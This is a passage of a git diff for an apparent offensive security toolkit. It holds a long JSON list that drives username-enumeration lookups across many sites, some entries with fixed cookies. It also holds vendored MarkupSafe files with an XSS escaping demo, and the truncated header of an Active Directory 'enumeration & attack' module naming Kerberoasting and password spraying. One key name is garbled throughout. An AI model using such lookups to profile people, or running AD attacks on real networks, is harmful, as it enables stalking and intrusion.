"http://www.vladimirka.ru/board/profile/{}", + "urlMain": "http://www.vladimirka.ru", + "usernameON": "anyazxc1", + "bad_site": "" + }, + "Vladmama": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "<title>Информация |", + "errorTyp��": "message", + "url": "https://vladmama.ru/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://vladmama.ru", + "usernameON": "Lenok2803", + "bad_site": "" + }, + "Vlmi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "<title>Упс! Мы столкнулись с некоторыми проблемами. | VLMI Интернет-безопасность, обмен приватной информацией", + "errorMsg2": "Полезные пользователи | VLMI Интернет-безопасность, обмен приватной информацией", + "errorTyp��": "message", + "url": "https://vlmi.biz/members/?username={}", + "urlMain": "https://vlmi.biz", + "usernameON": "mixa", + "comments": "old", + "bad_site": 1 + }, + "Voices": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://www.voices.com/actors/{}", + "urlMain": "https://www.voices.com/", + "usernameON": "adam", + "bad_site": "" + }, + "Voicesevas": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "http://voicesevas.ru/user/{}/", + "urlMain": "http://voicesevas.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Volga-gaz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://volga-gaz.nnov.ru/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "http://volga-gaz.nnov.ru", + "usernameON": "serg6033", + "bad_site": "" + }, + "Volkodavcaoko": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "профиль забанен или удален", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://volkodavcaoko.forum24.ru/?32-{}", + "urlMain": "https://volkodavcaoko.forum24.ru", + "usernameON": "itaka", + "bad_site": "" + }, + "Volkswagen": { + "country": "🇺🇦", + "country_klas": "UA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "http://volkswagen.lviv.ua/members/?username={}", + "urlMain": "http://volkswagen.lviv.ua", + "usernameON": "scirocco", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Volleybox": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "url": "https://volleybox.net/ru/user/{}", + "urlMain": "https://volleybox.net", + "usernameON": "volleyjerseys", + "comments": "cf", + "bad_site": "" + }, + "Votetags": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Page not found", + "errorMsg2": "<body class=\"archive author\">", + "errorTyp��": "message", + "url": "https://www.votetags.info/author/{}/", + "urlMain": "https://www.votetags.info/", + "usernameON": "safeclothes", + "bad_site": "" + }, + "VSCO": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://vsco.co/{}", + "urlMain": "https://vsco.co/", + "usernameON": "blue", + "bad_site": "" + }, + "Vse": { + "country": "🇰🇿", + "country_klas": "KZ", + "errorMsg": "Поиск не дал результатов", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://vse.kz/index.php?app=core&module=search&do=search&andor_type=members&search_app_filters[members][members][sortKey]=date&search_term={}&search_app=members&search_app_filters[members][searchInKey]=members&search_app_filters[members][members][sortKey]=date&search_app_filters[members][members][sortDir]=1", + "urlMain": "https://vse.kz", + "usernameON": "vturekhanov", + "comments": "old_feb_2025", + "bad_site": 1 + }, + "Vulengate": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.vulengate.com/members/?username={}", + "urlMain": "https://www.vulengate.com", + "usernameON": "dmanskits", + "comments": "cf", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Vulgo_rolka": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "По вашему запросу ничего не найдено", + "errorMsg2": "Информация", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://vulgo.rolka.me/search.php?action=search&keywords=&author={}", + "urlMain": "https://vulgo.rolka.me", + "usernameON": "tania25297", + "bad_site": "" + }, + "Vyshyvanka": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Користувача не знайдено", + "errorMsg2": "403 Forbidden", + "errorMsg3": "User not found", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://vyshyvanka.ucoz.ru/index/8-0-{}", + "urlMain": "https://vyshyvanka.ucoz.ru", + "usernameON": "Sirena", + "bad_site": "" + }, + "Vzvd": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://vzvd.ru/forum/index.php?p=/profile/{}", + "urlMain": "https://vzvd.ru", + "usernameON": "Troll", + "bad_site": "" + }, + "W3challs": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "404 Page not found – W3Challs Hacking Challenges", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://w3challs.com/profile/{}", + "urlMain": "https://w3challs.com/", + "usernameON": "adam", + "bad_site": "" + }, + "W3schools": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "problem", + "errorMsg2": "0 results", + "errorTyp��": "message", + "url": "https://w3schools.invisionzone.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://w3schools.invisionzone.com", + "usernameON": "DubaiSouthVillas", + "comments": "cf", + "bad_site": "" + }, + "W7forums": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "The specified member cannot be found. Please enter a member's entire name.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://www.w7forums.com/members/?username={}", + "urlMain": "https://www.w7forums.com", + "usernameON": "adam", + "bad_site": "" + }, + "Wakatime": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://wakatime.com/@{}", + "urlMain": "https://wakatime.com", + "usernameON": "adam", + "bad_site": "" + }, + "Wanelo": { + "country": "🇺🇸", + "country_klas": "US", + "exclusion": "\\W|[а-я-А-Я]", + "errorTyp��": "status_code", + "url": "https://wanelo.co/{}", + "urlMain": "https://wanelo.co", + "usernameON": "adam", + "comments": "old", + "bad_site": 1 + }, + "Warcraft3ft": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://warcraft3ft.clan.su/index/8-0-{}", + "urlMain": "https://warcraft3ft.clan.su", + "usernameON": "Inods", + "bad_site": "" + }, + "Warhammercommunity": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://warhammercommunity.com/forum/members/?username={}", + "urlMain": "https://warhammercommunity.com", + "usernameON": "harleyquinn", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Warriorforum": { + "country": "🇦🇺", + "country_klas": "AU", + "errorTyp��": "status_code", + "url": "https://www.warriorforum.com/members/{}.html", + "urlMain": "https://www.warriorforum.com/", + "usernameON": "blue", + "bad_site": "" + }, + "Wasm": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://wasm.in/members/?username={}", + "urlMain": "https://wasm.in", + "usernameON": "entropy", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Wattpad": { + "country": "🇨🇦", + "country_klas": "CA", + "errorMsg": "userError-404", + "errorMsg2": "Why do I have to complete a CAPTCHA?", + "errorTyp��": "message", + "url": "https://www.wattpad.com/user/{}", + "urlMain": "https://www.wattpad.com/", + "usernameON": "Dogstho7951", + "bad_site": "" + }, + "Wc3": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://wc3.3dn.ru/index/8-0-{}", + "urlMain": "http://wc3.3dn.ru", + "usernameON": "Terror", + "bad_site": "" + }, + "Weasyl": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://www.weasyl.com/~{}", + "urlMain": "https://www.weasyl.com", + "usernameON": "adam", + "bad_site": "" + }, + "Webhamster": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "По вашему запросу ничего не найдено.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://webhamster.ru/punbb/userlist.php?username={}", + "urlMain": "https://webhamster.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Weblancer": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "response_url", + "url": "https://www.weblancer.net/users/{}/", + "urlMain": "https://www.weblancer.net", + "usernameON": "alraa", + "bad_site": "" + }, + "Webonrails": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://webonrails.ru/user/{}/", + "urlMain": "https://webonrails.ru", + "usernameON": "rediska", + "comments": "old", + "bad_site": 1 + }, + "WebOS": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://webos-forums.ru/search.php?keywords=&terms=all&author={}&sc=1&sf=msgonly&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "https://webos-forums.ru", + "usernameON": "tessi", + "bad_site": "" + }, + "Weburg": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": ">К сожалению в разделе", + "errorMsg2": "Ê ñîæàëåíèþ â ðàçäåëå", + "errorMsg3": "ничего не найдено", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://weburg.net/search?where=10&search=1&q={}", + "urlMain": "https://weburg.net", + "usernameON": "adam", + "comments": "Oplata", + "bad_site": "" + }, + "Weedmaps": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Find Marijuana Dispensaries, Brands, Delivery, Deals & Doctors", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://weedmaps.com/brands/{}", + "urlMain": "https://weedmaps.com", + "usernameON": "adams", + "bad_site": "" + }, + "Weforum": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "World Economic Forum", + "errorMsg2": "404: Page cannot", + "errorTyp��": "message", + "url": "https://www.weforum.org/people/{}", + "urlMain": "https://www.weforum.org", + "usernameON": "adam-leismark", + "headers": { + "Accept-Language": "ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", + "DNT": "1", + "Priority": "u=1", + "Connection": "keep-alive", + "Sec-Fetch-Dest": "document", + "Sec-Fetch-Mode": "navigate", + "Sec-Fetch-Site": "none", + "Sec-Fetch-User": "?1", + "Sec-GPC": "1", + "Cookie": "SUB=_2AkMQFRkHf8NxqwFRmf4WyW7haIt_ywnEieKmSejcJRMxHRl-yT9kqkpStRB6O5U36I0wj1ke-VrTHS_G3IfYEdZRb2jF", + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0" + }, + "bad_site": "" + }, + "Wego_social": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "response_url", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://wego.social/{}", + "urlMain": "https://wego.social", + "usernameON": "CRHoman", + "bad_site": "" + }, + "Weld": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "<title>Сварочный Форум", + "errorTyp��": "message", + "url": "https://weld.in.ua/forum/member.php/?username={}", + "urlMain": "https://weld.in.ua", + "usernameON": "red", + "bad_site": "" + }, + "Wfts": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Ошибка: игрок не найден", + "errorMsg2": "Warface TrueSight | Профиль игрока не существует", + "errorMsg3": "не существует", + "errorTyp��": "message", + "url": "https://wfts.su/profile/{}", + "urlMain": "https://wfts.su/", + "usernameON": "%D0%9B%D0%90%D0%A0%D0%A0%D0%9830", + "bad_site": "" + }, + "Whitewaterguidebook": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.whitewaterguidebook.com/forums/users/{}/", + "urlMain": "https://www.whitewaterguidebook.com", + "usernameON": "justincarson", + "bad_site": "" + }, + "Whonix": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No results found.", + "errorMsg2": "| Cloudflare", + "errorMsg3": "search":"{\\"posts\\":[],\\"users\\":[],\\"categories", + "errorTyp��": "message", + "url": "https://forums.whonix.org/search?expanded=true&q=%40{}", + "urlMain": "https://forums.whonix.org/", + "usernameON": "red", + "bad_site": "" + }, + "Whyislam": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено", + "errorMsg2": "0 пользоват", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.whyislam.to/forum/memberlist.php?username={}", + "urlMain": "https://www.whyislam.to/", + "usernameON": "adam", + "headers": { + "Accept-Language": "ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", + "DNT": "1", + "Priority": "u=1", + "Connection": "keep-alive", + "Sec-Fetch-Dest": "document", + "Sec-Fetch-Mode": "navigate", + "Sec-Fetch-Site": "none", + "Sec-Fetch-User": "?1", + "Sec-GPC": "1", + "Cookie": "SUB=_2AkMQFRkHf8NxqwFRmf4WyW7haIt_ywnEieKmSejcJRMxHRl-yT9kqkpStRB6O5U36I0wj1ke-VrTHS_G3IfYEdZRb2jF", + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0" + }, + "bad_site": "" + }, + "Wickeditor": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.wickeditor.com/u/{}/summary", + "urlMain": "https://forum.wickeditor.com", + "usernameON": "jayanimatic", + "bad_site": "" + }, + "Wikidot": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "User does not exist.", + "errorMsg2": "Wikidot is not available in Russia", + "errorTyp��": "message", + "url": "http://www.wikidot.com/user:info/{}", + "urlMain": "http://www.wikidot.com/", + "usernameON": "blue", + "comments": "RUblock", + "bad_site": "" + }, + "Wikigrib": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "<title>Энциклопедия грибов «ВикиГриб»", + "errorMsg2": "pagetitle\">Ваша страница", + "errorTyp��": "message", + "url": "https://wikigrib.ru/author/{}/", + "urlMain": "https://wikigrib.ru", + "usernameON": "sergeym", + "bad_site": "" + }, + "Wikihow": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://www.wikihow.com/Author/{}", + "urlMain": "https://www.wikihow.com", + "usernameON": "Ikaika-Cox", + "bad_site": "" + }, + "Wikiloc": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://www.wikiloc.com/wikiloc/findPeople.do?name={}", + "urlMain": "https://www.wikiloc.com", + "usernameON": "LosK2delasKumbres", + "bad_site": "" + }, + "Wikimapia": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "", + "errorMsg2": "", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "http://wikimapia.org/user/tools/users_rating/?username={}", + "urlMain": "http://wikimapia.org", + "usernameON": "adam", + "bad_site": "" + }, + "Wikipedia": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "is not registered", + "errorMsg2": "Wikipedia does not have", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.wikipedia.org/wiki/User:{}", + "urlMain": "https://www.wikipedia.org/", + "usernameON": "Zanuda_petro", + "bad_site": "" + }, + "Wikipediocracy": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Sorry but you cannot use", + "errorMsg2": "No suitable matches were found.", + "errorMsg3": "Information", + "errorTyp��": "message", + "url": "https://wikipediocracy.com/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://wikipediocracy.com", + "usernameON": "Anroth", + "bad_site": "" + }, + "Wikiquote": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://ru.wikiquote.org/wiki/%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:{}", + "urlMain": "https://ru.wikiquote.org", + "usernameON": "Zwyciezca", + "bad_site": "" + }, + "Wikivoyage": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://ru.wikivoyage.org/wiki/%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:{}", + "urlMain": "https://ru.wikivoyage.org", + "usernameON": "Savh", + "bad_site": "" + }, + "Wiktionary": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://ru.wiktionary.org/w/index.php?title=%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:{}&action=view", + "urlMain": "https://ru.wiktionary.org", + "usernameON": "Merdiginn", + "bad_site": "" + }, + "Wild-nature": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Наши авторы | Дикая природа в фотографиях и рассказах", + "errorMsg2": "Страница не найдена", + "errorTyp��": "message", + "url": "http://www.wild-nature.ru/users/{}", + "urlMain": "http://www.wild-nature.ru", + "usernameON": "lana75", + "bad_site": "" + }, + "Wimkin": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://wimkin.com/{}", + "urlMain": "https://wimkin.com", + "usernameON": "JRourke", + "bad_site": "" + }, + "Windows10forums": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "url": "https://www.windows10forums.com/members/?username={}", + "urlMain": "https://www.windows10forums.com/", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Windowsforum": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "url": "https://windowsforum.com/members/?username={}", + "urlMain": "https://windowsforum.com", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Windy": { + "country": "🇨🇿", + "country_klas": "CZ", + "errorTyp��": "status_code", + "url": "https://community.windy.com/user/{}", + "urlMain": "https://windy.com/", + "usernameON": "blue", + "comments": "ZAK_user", + "bad_site": 1 + }, + "Wineberserkers": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.wineberserkers.com/u/{}/summary", + "urlMain": "https://www.wineberserkers.com", + "usernameON": "ybarselah", + "bad_site": "" + }, + "Winnipegwatch": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "was not found.", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://winnipegwatch.websitetoolbox.com/search?keywords=&searchin=message&member={}&do=findposts&id=&replies=atleast&numreplies=0&daterange=0&custdatefrom=&custdateto=&sort=&order=desc&radio_showas=threads&btnSearch=Search&action=doSearch", + "urlMain": "https://winnipegwatch.websitetoolbox.com", + "usernameON": "Prevost12", + "comments": "cf", + "bad_site": 1 + }, + "Wireclub": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "response_url", + "url": "https://www.wireclub.com/users/{}", + "urlMain": "https://www.wireclub.com", + "usernameON": "adam", + "bad_site": "" + }, + "Wiscobourbon": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://wiscobourbon.com/forums/users/{}/", + "urlMain": "https://wiscobourbon.com", + "usernameON": "lbourbonlover123", + "bad_site": "" + }, + "Wishlistr": { + "country": "🇸🇪", + "country_klas": "SE", + "errorMsg": "robots\" content=\"noindex, nofollow", + "errorMsg2": "Page Not Found", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.wishlistr.com/profile/{}", + "urlMain": "https://www.wishlistr.com", + "usernameON": "adam", + "bad_site": "" + }, + "Witchnest": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Domain Error Page", + "errorMsg2": "Страница не найдена", + "errorMsg3": ";", + "errorTyp��": "message", + "url": "https://witchnest.ru/user/{}/", + "urlMain": "https://witchnest.ru", + "comments": "super", + "usernameON": "Polina", + "bad_site": "" + }, + "Wittyprofiles": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "It looks like you are looking for something that isn't here.", + "errorMsg2": "QT Media 404", + "errorTyp��": "message", + "url": "http://www.wittyprofiles.com/author/{}", + "urlMain": "http://www.wittyprofiles.com/", + "usernameON": "adam", + "bad_site": "" + }, + "Wix": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://{}.wix.com", + "urlMain": "https://wix.com/", + "usernameON": "support", + "bad_site": "" + }, + "Wolpy": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "ItPage not found", + "errorMsg2": "doesn't exist", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://wolpy.com/{}", + "urlMain": "https://wolpy.com", + "usernameON": "FaustinFavreau", + "bad_site": "" + }, + "Wordart": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://wordart.com/gallery/user/{}", + "urlMain": "https://wordart.com", + "usernameON": "Jarmiviktoria", + "bad_site": "" + }, + "WordPress": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://{}.wordpress.com/", + "urlMain": "https://wordpress.com", + "usernameON": "blue", + "bad_site": "" + }, + "WordPressOrg": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://profiles.wordpress.org/{}/", + "urlMain": "https://wordpress.org/", + "usernameON": "blue", + "bad_site": "" + }, + "Worldofwarcraft_blizzard": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Error 404", + "errorMsg2": "WoW") +Markup('<script>alert(document.cookie);</script>') + +>>> # wrap in Markup to mark text "safe" and prevent escaping +>>> Markup("Hello") +Markup('hello') + +>>> escape(Markup("Hello")) +Markup('hello') + +>>> # Markup is a str subclass +>>> # methods and operators escape their arguments +>>> template = Markup("Hello {name}") +>>> template.format(name='"World"') +Markup('Hello "World"') +``` + +## Donate + +The Pallets organization develops and supports MarkupSafe and other +popular packages. In order to grow the community of contributors and +users, and allow the maintainers to devote more time to the projects, +[please donate today][]. + +[please donate today]: https://palletsprojects.com/donate + +## Contributing + +See our [detailed contributing documentation][contrib] for many ways to +contribute, including reporting issues, requesting features, asking or answering +questions, and making PRs. + +[contrib]: https://palletsprojects.com/contributing/ diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/markupsafe-3.0.3.dist-info/RECORD b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/markupsafe-3.0.3.dist-info/RECORD new file mode 100644 index 0000000..7bc854f --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/markupsafe-3.0.3.dist-info/RECORD @@ -0,0 +1,14 @@ +markupsafe-3.0.3.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4 +markupsafe-3.0.3.dist-info/METADATA,sha256=8K5duwnVD7X3Yyw9U_AiCZXvdgGeWJLgpUV0ATak48s,2764 +markupsafe-3.0.3.dist-info/RECORD,, +markupsafe-3.0.3.dist-info/WHEEL,sha256=qV0EIPljj1XC_vuSatRWjn02nZIz3N1t8jsZz7HBr2U,101 +markupsafe-3.0.3.dist-info/licenses/LICENSE.txt,sha256=RjHsDbX9kKVH4zaBcmTGeYIUM4FG-KyUtKV_lu6MnsQ,1503 +markupsafe-3.0.3.dist-info/top_level.txt,sha256=qy0Plje5IJuvsCBjejJyhDCjEAdcDLK_2agVcex8Z6U,11 +markupsafe/__init__.py,sha256=ut2LXj-6sqkIVUdSAx-dboB5crAaRG5y7EO447hmaro,13644 +markupsafe/__pycache__/__init__.cpython-313.pyc,, +markupsafe/__pycache__/_native.cpython-313.pyc,, +markupsafe/_native.py,sha256=2ptkJ40yCcp9kq3L1NqpgjfpZB-obniYKFFKUOkHh4Q,218 +markupsafe/_speedups.c,sha256=efc6azc50WbKxSNinxV4rktIX2xzWfKsLvncC8Z3I_w,4527 +markupsafe/_speedups.cp313-win_amd64.pyd,sha256=pEBLb45Lqy54Kzc1B6MKt7cTDIiH9ivw5OSptl0K3TA,13312 +markupsafe/_speedups.pyi,sha256=LSDmXYOefH4HVpAXuL8sl7AttLw0oXh1njVoVZp2wqQ,42 +markupsafe/py.typed,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/markupsafe-3.0.3.dist-info/WHEEL b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/markupsafe-3.0.3.dist-info/WHEEL new file mode 100644 index 0000000..6d2a206 --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/markupsafe-3.0.3.dist-info/WHEEL @@ -0,0 +1,5 @@ +Wheel-Version: 1.0 +Generator: setuptools (80.9.0) +Root-Is-Purelib: false +Tag: cp313-cp313-win_amd64 + diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/markupsafe-3.0.3.dist-info/licenses/LICENSE.txt b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/markupsafe-3.0.3.dist-info/licenses/LICENSE.txt new file mode 100644 index 0000000..9d227a0 --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/markupsafe-3.0.3.dist-info/licenses/LICENSE.txt @@ -0,0 +1,28 @@ +Copyright 2010 Pallets + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are +met: + +1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + +2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +3. Neither the name of the copyright holder nor the names of its + contributors may be used to endorse or promote products derived from + this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A +PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED +TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR +PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF +LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING +NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/markupsafe-3.0.3.dist-info/top_level.txt b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/markupsafe-3.0.3.dist-info/top_level.txt new file mode 100644 index 0000000..75bf729 --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/markupsafe-3.0.3.dist-info/top_level.txt @@ -0,0 +1 @@ +markupsafe diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/__init__.py b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/__init__.py new file mode 100644 index 0000000..d79d4b1 --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/__init__.py @@ -0,0 +1 @@ +# AUTARCH Modules diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/ad_audit.py b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/ad_audit.py new file mode 100644 index 0000000..5579317 --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/ad_audit.py @@ -0,0 +1,1594 @@ +"""AUTARCH Active Directory Audit + +LDAP enumeration, Kerberoasting, AS-REP roasting, ACL analysis, +BloodHound collection, and password spray for AD security assessment. +""" + +import os +import sys +import json +import time +import subprocess +import struct +import random +import threading +from pathlib import Path +from datetime import datetime, timedelta + +# Module metadata +DESCRIPTION = "Active Directory enumeration & attack" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "offense" + +# Path setup +try: + from core.paths import get_data_dir +except ImportError: + def get_data_dir(): + return Path(__file__).parent.parent / 'data' + +sys.path.insert(0, str(Path(__file__).parent.parent)) + +try: + from core.banner import Colors, clear_screen, display_banner +except ImportError: + class Colors: + CYAN = YELLOW = GREEN = RED = BOLD = DIM = RESET = WHITE = MAGENTA = "" + def clear_screen(): pass + def display_banner(): pass + +# Optional dependency flags +try: + import ldap3 + from ldap3 import Server, Connection, 